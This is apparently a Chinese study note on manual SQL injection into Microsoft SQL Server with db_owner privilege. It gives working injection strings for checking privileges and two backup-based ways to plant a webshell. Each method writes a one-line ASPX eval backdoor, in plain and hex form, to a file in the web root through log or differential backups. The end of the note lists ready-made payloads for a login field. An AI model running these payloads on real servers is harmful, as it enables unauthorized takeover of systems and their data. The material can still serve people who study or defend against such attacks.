學習筆記二十三:Mssql手注之db_owner許可權處理
MSSQL全稱: Microsoft SQL Server
3個許可權: sysadmin \ db_owner \ public
許可權判斷
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員
and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫許可權
and 1=(Select IS_MEMBER('public'))
Getshell前提
db_owner許可權
網站物理路徑,也叫網站絕對路徑,可以通過讓網站報錯來獲取
Getshell姿勢
Log備份Getshell
;alter database test set RECOVERY FULL-- //更改資料庫的恢復模式為完整模式,test是資料庫名
;create table cmd (a image)-- ///建立cmd表,a是欄位名,image是欄位型別
;backup log test to disk = 'c:/1.bak' with init-- //進行備份
;insert into cmd (a) values ('<%@ Page Language="Jscript"%> %eval(Request.Item["hackdog"],"unsafe");%>')-- //插入一句話木馬
;backup log test to disk = 'C:/Users/Administrator/Desktop/wwwroot/xf.aspx'-- //將日誌備份放進網站,之後就可以通過網站觀察是否成功獲取webshell
;drop table cmd-- //刪除cmd表,也許資料庫內已有這張表,那麼我們在建立之前要先把它刪除
差異備份Getshell
1.首先完整備份一次(c:\ddd.bak為所備份未見)
backup database 庫名 to disk = 'c:\ddd.bak';--
2.建立表並插入資料
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd)
values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
3.進行差異備份
backup database 庫名 to disk='目標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
其中上面那段16進位制碼其實就是這個一句話木馬的內容:<%@ Page Language="Jscript"%> <%eval(Request.Item["hackdog"],"unsafe");%>
admin2' aNd 1=1 aNd '1'='1
c:\Users\Administrator\desktop\l\default.aspx.cs:503
admin2';alter database test set RECOVERY FULL--
admin2';drop table cmd;--
admin2';create table cmd (a image);backup log test to disk = 'c:/x.bak' with init;insert into cmd (a) values (0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e)--
admin2';backup log test to disk = 'c:\Users\Administrator\desktop\l\darkxx.aspx'--
admin2';backup database test to disk = 'c:\x.bak';create table [dbo].[cmd] ([colu] [image]);insert into cmd(colu)values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c285265717 56573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
admin2';backup database test to disk='c:\Users\Administrator\desktop\l\d2.aspx' WITH DIFFERENTIAL,FORMAT;--
admin2';drop table dtest--